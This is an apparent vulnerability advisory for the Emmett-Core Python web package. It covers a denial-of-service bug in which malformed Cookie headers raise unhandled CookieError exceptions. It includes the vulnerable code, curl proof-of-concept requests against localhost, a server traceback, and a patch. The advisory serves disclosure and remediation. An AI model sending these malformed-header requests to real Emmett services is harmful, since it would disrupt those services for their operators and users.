PT-2026-59136 · Pypi · Emmett-Core

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The cookies property in emmett core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.

Details

Location: emmett core/http/wrappers/ init .py (line 64)
Vulnerable Code:
python
@cachedprop
def cookies(self) -> SimpleCookie:
  cookies: SimpleCookie = SimpleCookie()
  for cookie in self.headers.get("cookie", "").split(";"):
    cookies.load(cookie) # No exception handling
  return cookies

PoC

Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
bash
$ curl -w "
Time: %{time total}s
" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363s
After the same error occurs several times, the server cannot process it normally.
bash
$ curl -w "
Time: %{time total}s
" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s

$ curl -w "
Time: %{time total}s
" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031s
This is server log.
bash
[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic handler
  http = await self.router.dispatch(request, response)
      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett core/routing/router.py", line 240, in dispatch
  return await match.dispatch(reqargs, response)
      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett core/routing/dispatchers.py", line 57, in dispatch
  await self. parallel flow(self.flow open)
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett core/routing/dispatchers.py", line 17, in parallel flow
  raise task.exception()
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett core/sessions.py", line 102, in open request
  if self.cookie name in self.current.request.cookies:
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett core/utils.py", line 37, in  get 
  obj. dict [self. name ] = rv = self.fget(obj)
                    ~~~~~~~~~^^^^^
 File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett core/http/wrappers/ init .py", line 64, in cookies
  cookies.load(cookie)
  ~~~~~~~~~~~~^^^^^^^^
 File "/usr/lib/python3.13/http/cookies.py", line 516, in load
  self. parse string(rawdata)
  ~~~~~~~~~~~~~~~~~~~^^^^^^^^^
 File "/usr/lib/python3.13/http/cookies.py", line 580, in  parse string
  self. set(key, rval, cval)
  ~~~~~~~~~~^^^^^^^^^^^^^^^^^
 File "/usr/lib/python3.13/http/cookies.py", line 472, in  set
  M.set(key, real value, coded value)
  ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "/usr/lib/python3.13/http/cookies.py", line 335, in set
  raise CookieError('Illegal key %r' % (key,))
http.cookies.CookieError: Illegal key '/security'

Impact

This vulnerability allows unauthenticated attackers to cause denial of service and performance degradation by sending malformed Cookie headers. After this vulnerability occurs, we expect it to be difficult to use the normal service.

patch

/emmett core/http/wrappers/ init .py
python
- from http.cookies import SimpleCookie 
+ from http.cookies import SimpleCookie, CookieError # add CookieError
...
...
  @cachedprop
  def cookies(self) -> SimpleCookie:
    cookies: SimpleCookie = SimpleCookie()
    for cookie in self.headers.get("cookie", "").split(";"):
-      cookies.load(cookie)
+      try:
+        cookies.load(cookie)
+      except CookieError:
+        continue
    return cookies

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2469

Affected Products

Emmett-Core